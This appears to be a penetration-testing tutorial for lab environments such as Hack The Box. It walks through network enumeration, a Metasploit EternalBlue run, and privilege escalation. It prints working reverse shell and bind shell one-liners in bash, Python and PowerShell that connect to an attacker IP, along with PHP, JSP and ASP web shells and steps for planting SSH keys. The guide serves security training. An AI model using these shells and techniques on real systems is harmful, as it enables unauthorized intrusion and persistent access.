SSH (Secure Shell) is a secure network protocol that typically runs on port 22 and is widely used by system administrators to remotely access systems on the same network or over the internet. It supports both password-based authentication and passwordless login using a public/private key pair, enhancing security and convenience. SSH enables secure file uploads and downloads, remote command execution, and port forwarding or proxying to access resources in other networks. Operating on a client-server model, SSH connections are stable and reliable—often preferred over reverse shells—and can be used as jump hosts to pivot through a network. Attackers who obtain credentials or private keys can leverage SSH for direct system access or persistence.
If we obtain a set of credentials, we can use SSH to login remotely to the server by using the username @ the remote server IP, as follows:
$ ssh -p 22 augustus@172.19.0.1
password: ********
Netcat (also known as nc or ncat) is a powerful and versatile network utility commonly used in penetration testing to interact with TCP and UDP ports. It can connect to any open port to interact with the running service, perform banner grabbing to identify services (e.g., detecting SSH on port 22), and is especially useful for establishing reverse or bind shells. It can also be used to transfer files between systems. A similar tool, Socat, offers extended functionality such as port forwarding, connecting to serial devices, and upgrading shells to fully interactive TTYs. Socat can be deployed on compromised systems to enhance shell stability and should be part of every pentester’s toolkit.
$ nc -lvnp 1234
Nmap is a powerful network scanning tool widely used in penetration testing. A basic scan using nmap checks the 1,000 most common TCP ports by default. However, this default scan doesn’t confirm what specific service or version is running—just what is expected for that port.
To gather deeper information, advanced scans can be used with flags like -sC and -sV. The -sC flag runs default scripts to extract more detailed data from services, while -sV performs version detection. Adding -p- tells Nmap to scan all 65,535 TCP ports. This kind of scan takes longer but reveals detailed information like service banners, software versions (e.g., OpenSSH 8.2p1 or Apache 2.4.41), and sometimes the operating system.
Nmap also highlights exposed service details like the http-title of a web
page or
whether anonymous FTP
access is enabled. Discovering a PHPInfo page (PHP 7.4.3 - phpinfo()) can provide insight into PHP version
and
configuration—potentially useful if vulnerabilities exist in that version.
For specialized use cases, Nmap supports custom scripts with the --script flag. These
scripts
can perform
targeted checks, like auditing Citrix servers for known vulnerabilities (e.g., CVE-2019–19781). A script
can
be executed with nmap --script
$ nmap -sC -sV -p- 10.10.15.15
FTP (File Transfer Protocol) is a widely used standard protocol that can expose valuable information during penetration testing. Scanning port 21 with Nmap may reveal the FTP service in use—such as vsftpd 3.0.3—and whether anonymous login is enabled. Using the ftp command-line utility, we can connect to the server and interact with it using common commands like ls to list files and cd to change directories. Files can be downloaded with the get command.
$ ftp -p 10.10.15.15
SMB (Server Message Block) is a commonly used network protocol, especially in Windows environments, that enables file and printer sharing across a network. It is often a rich target during penetration testing, as misconfigured SMB services may expose sensitive data, credentials, or even be vulnerable to severe exploits like EternalBlue. Enumerating SMB thoroughly is essential due to the variety of attack vectors it presents. Tools like Nmap include scripts such as smb-os-discovery.nse that can help identify the host’s operating system and other valuable metadata. Running an SMB OS discovery script on port 445 against a Windows host can reveal critical details such as the system version, NetBIOS name, and workgroup. For instance, a scan may identify a host as running Windows 7 Professional SP1, which is a legacy OS potentially vulnerable to known exploits. In other cases, Nmap can also reveal that an SMB service is backed by Samba on a Linux machine, and infer the OS based on service versions and OS fingerprinting attempts.
SMB allows users and administrators to share folders and make them accessible remotely by other users. SMB shares are another important area for exploration. These shared directories can be enumerated using tools like smbclient, which allows listing and accessing shares remotely. By default, some shares may be accessible anonymously (guest access), but more often, credentials are required. When connecting with valid credentials, testers can navigate the directory structure and look for files of interest.
$ smbclient -N -L \\\\{IP}
-N skips the password prompt (for anonymous access).
-L lists the available shares on an SMB host.
$ smbclient \\\\{IP}\\{share} -U {user}
SNMP (Simple Network Management Protocol) allows access to device information using community strings, which are often left at their default values like public or private. Versions 1 and 2c use plaintext strings without encryption, making them easy targets if the community name is known. SNMP version 3 adds encryption and authentication. Using tools like snmpwalk, attackers can retrieve data such as hostnames, running processes, routing info, and software versions—sometimes even credentials from command-line parameters. Brute-forcing tools like onesixtyone can be used with wordlists to discover valid community strings. Once a valid string is found, it can reveal detailed system information that may help further access or lateral movement within a network.
$ snmpwalk -v {version} -c {community_string} {target_ip} [OID]
-v sets SNMP version (usually 1, 2c, or 3).
-c defines the community string (e.g., public, private).
OID is the Object Identifier to specify the starting point.
GoBuster is a powerful, fast, and flexible tool written in Go used for web content discovery and subdomain enumeration. It's commonly used by penetration testers and security researchers to uncover hidden files, directories, or subdomains on a web server—resources that may not be publicly linked but can expose sensitive information or functionality. When attacking a web application, it’s essential to check for these hidden resources. Directory and file brute-forcing can reveal admin panels, backup files, misconfigured scripts, or even entry points for remote code execution (RCE). GoBuster is perfect for this task due to its speed and compatibility with well-known wordlists like those from the SecLists project.
Directory and File Enumeration
$ gobuster dir -u {URL} -w {wordlist}
-u specifies the base URL.
-w specifies the wordlist.
Optional: use -x to check specific extensions (e.g., .php, .txt)
We could get a lot of outputs, here are some examples:
- 200 = success → the file/directory exists and is accessible
- 403 = forbidden → exists but access is restricted (still valuable info!)
- 301/302 = redirect → follow the redirection manually
DNS Subdomain Enumeration
$ gobuster dns -d {domain} -w {wordlist}
-d specifies the domain.
-w specifies the wordlist.
We can extract the version of web servers, supporting frameworks, and applications using the command-line tool whatweb. This information can help us pinpoint the technologies in use and begin to search for potential vulnerabilities.
SSL/TLS certificates are another potentially valuable source of information if HTTPS is in use.
It is common for websites to contain a robots.txt file, whose purpose is to instruct search engine web crawlers such as Googlebot which resources can and cannot be accessed for indexing. The robots.txt file can provide valuable information such as the location of private files and admin pages.
Many tools can help us search for public exploits for the various applications and services we may encounter during the enumeration phase. One way is to Google for the application name with exploit to see if we get any results. A well-known tool for this purpose is searchsploit, which we can use to search for public vulnerabilities/exploits for any application. We can install it with the following command:
$ searchsploit openssh 7.2
We can also utilize online exploit databases to search for vulnerabilities, like Exploit DB, Rapid7 DB, or Vulnerability Lab.
The Metasploit Framework (MSF) is a powerful tool used by penetration testers to find, verify, and exploit vulnerabilities in remote systems. It includes hundreds of ready-to-use exploits, payloads, post-exploitation modules, and tools for lateral movement and privilege escalation. One of its most valuable features is Meterpreter, a dynamic payload that allows remote control of compromised targets.
Launching Metasploit
$ msfconsole
This command opens the interactive Metasploit console. Once inside, we can start searching for exploits related to a specific service or vulnerability.
Searching and Using Exploits
msf6 > search exploit eternalblue
msf6 > use exploit/windows/smb/ms17_010_psexec
Use search
to find relevant modules and use
to select one. You can see a full list
of required parameters with the show options
command.
Setting Options
msf6 > set RHOSTS 10.10.10.40
msf6 >set LHOST tun0
RHOSTS
is the IP address of the target. LHOST
is the IP of your attacking machine
(usually tun0 in VPN labs). Ensure all required fields are set before continuing.
Checking Vulnerability
msf6 > check
If the module supports it, the check
command will verify whether the target is vulnerable
before
launching the exploit.
Exploiting the Target
msf6 > exploit
If successful, this command opens a Meterpreter session with elevated privileges, allowing commands such as:
meterpreter > getuid
meterpreter > shell
C:\WINDOWS\system32> whoami
NT AUTHORITY\SYSTEM
These commands confirm that we have obtained SYSTEM-level access. Meterpreter provides a robust interface for post-exploitation tasks such as file transfers, privilege escalation, pivoting, and persistence.
A Reverse Shell is a technique used to gain remote control over a compromised host. After identifying a vulnerability that allows for remote code execution, the attacker starts a listener (usually with Netcat) and then executes a command on the target system that causes it to connect back, providing shell access.
Step 1: Start a Netcat Listener
$ nc -lvnp 1234
-l: listen mode
-v: verbose output
-n: no DNS resolution
-p: specify the port
Step 2: Find Your Local IP
$ ip a
Look for the IP under the tun0
interface (used for VPN connections like Hack The Box). This IP
will be used in the reverse shell command.
Step 3: Execute a Reverse Shell Command
The exact command depends on the target system’s OS and available tools. Below are some reliable examples:
# Bash (Linux)
$ bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
# Bash (alternative)
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
# PowerShell (Windows)
$ powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
These commands are typically executed via an exploit, a webshell, or using tools like Metasploit or Python scripts.
Step 4: Receive the Connection
$ listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.1] 41572
Once the reverse shell is triggered successfully, you'll receive an interactive shell on your machine and can execute commands directly on the remote host.
Important Notes
Reverse shells are fast and simple to use but fragile—if the connection is lost, the shell is closed, and you’ll need to re-trigger the exploit. More stable access can be achieved through Meterpreter or by establishing persistence later.
A Bind Shell is another type of shell used in exploitation. Unlike a reverse shell, which connects back to the attacker, a bind shell opens a port on the target system and listens for incoming connections. The attacker then connects to that port using a tool like Netcat to gain shell access.
Bind Shell Commands
The following are reliable bind shell commands that can be executed on a compromised system. These commands bind a shell (bash or PowerShell) to a specific port (e.g., 1234):
# Bash (Linux)
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
# Python
$ python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
# PowerShell (Windows)
$ powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
Connecting to the Bind Shell
After running one of the bind shell commands, you can connect to the target system using Netcat:
$ nc 10.10.10.1 1234
You will be dropped directly into a shell on the remote host. If the session is interrupted, you can reconnect as long as the bind shell is still running.
Upgrading to a Full TTY Shell
A basic Netcat shell is limited—you can’t use arrow keys, clear the screen, or use command history. To fix
this, you can upgrade it to a full TTY shell using Python and stty
:
www-data@remotehost$ python -c 'import pty; pty.spawn("/bin/bash")'
Then, press Ctrl + Z
to background the shell and run:
$ stty raw -echo
$ fg [press enter]
Now you’ll have an interactive shell with editing capabilities. If needed, you can also adjust your terminal’s display:
$ echo $TERM
xterm-256color
$ stty size
67 318
Then return to the shell and run:
www-data@remotehost$ export TERM=xterm-256color
www-data@remotehost$ stty rows 67 columns 318
You now have a fully functional shell, similar to an SSH session.
A Web Shell is a script written in a web programming language like PHP, ASP, or JSP that allows attackers to execute system commands remotely through HTTP requests. Instead of connecting like with reverse or bind shells, a web shell uses the existing web server to execute commands and return output within a web page.
Writing a Web Shell
Web shells are typically one-liners that execute commands received via GET or POST parameters. Below are some common examples:
# PHP
$ <?php system($_REQUEST["cmd"]); ?>
# JSP
$ <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
# ASP
$ <% eval request("cmd") %>
Uploading the Web Shell
You can place the web shell in the webroot directory using:
Accessing the Web Shell
Once deployed, you can access the web shell in a browser or using curl:
http://SERVER_IP:PORT/shell.php?cmd=id
Web shells are stealthy and persistent. Since they run on standard web ports (e.g., 80 or 443), they are less likely to be blocked by firewalls. Even after a system reboot, the web shell remains accessible—no need to re-exploit the system.
However, web shells are not interactive like reverse or bind shells. Each command must be manually entered in the URL or via a tool like curl. Still, it's possible to automate command execution through scripts, turning a web shell into a semi-interactive terminal.
Gaining initial access to a remote system often results in a low-privileged shell. In order to fully compromise a machine, we must escalate our privileges to a higher level — typically root on Linux or SYSTEM/Administrator on Windows. Privilege escalation involves finding misconfigurations, vulnerabilities, or exposed credentials that allow this transition to elevated access. Let’s walk through the core strategies and tools for local privilege escalation (LPE).
Using Privilege Escalation Checklists
Tools like HackTricks and PayloadsAllTheThings offer excellent curated checklists for both Linux and Windows. These resources include techniques, commands, and known weaknesses across various system configurations. It's important to learn and experiment with them to build muscle memory and intuition for privilege escalation vectors.
Automated Enumeration Scripts
Instead of manually checking each possible privilege escalation vector, we can run enumeration scripts that automate the process and present findings in a digestible format. Notable scripts include:
PEASS-ng is a modern and well-maintained project that includes enumeration tools for both platforms.
Kernel Exploits
If the system runs an outdated OS/kernel, it may be vulnerable to local kernel exploits.
Vulnerable or Outdated Software
Look for installed applications and their versions. On Linux, use dpkg -l
; on Windows, check
C:\Program Files
. Look up public exploits for any outdated software, particularly anything
running with elevated privileges.
User Privileges & Sudo Abuse
Use sudo -l
to check for commands that can be executed as root. If unrestricted
((ALL : ALL) ALL
), escalate with:
$ sudo su -
If NOPASSWD
is enabled for specific binaries, check those on GTFOBins to find ways to exploit
them for root shells. On Windows, refer to LOLBAS for similar opportunities.
Scheduled Tasks & Cron Jobs
Misconfigured cron jobs or scheduled tasks may allow privilege escalation. Common Linux cron paths to check:
/etc/crontab
/etc/cron.d
/var/spool/cron/crontabs/
If you can write to scripts executed by cron as root, insert a reverse shell payload to gain root access.
Exposed Credentials in Files
Check for passwords or tokens in:
/var/www/html/config.php
.bash_history
, .mysql_history
, or *.log
files/etc
or webroot
Use found credentials to switch users with su
or sudo -u
. Example:
$ su -
Password: password123
SSH Keys
If you can read /home/user/.ssh/id_rsa
or /root/.ssh/id_rsa
, you can use the
private
key to connect:
$ chmod 600 id_rsa
$ ssh root@10.10.10.10 -i id_rsa
If you can write to a user's authorized_keys
, generate your own key with
ssh-keygen
:
$ ssh-keygen -f key
$ echo <contents of key.pub> >> /home/user/.ssh/authorized_keys
Then connect:
$ ssh user@10.10.10.10 -i key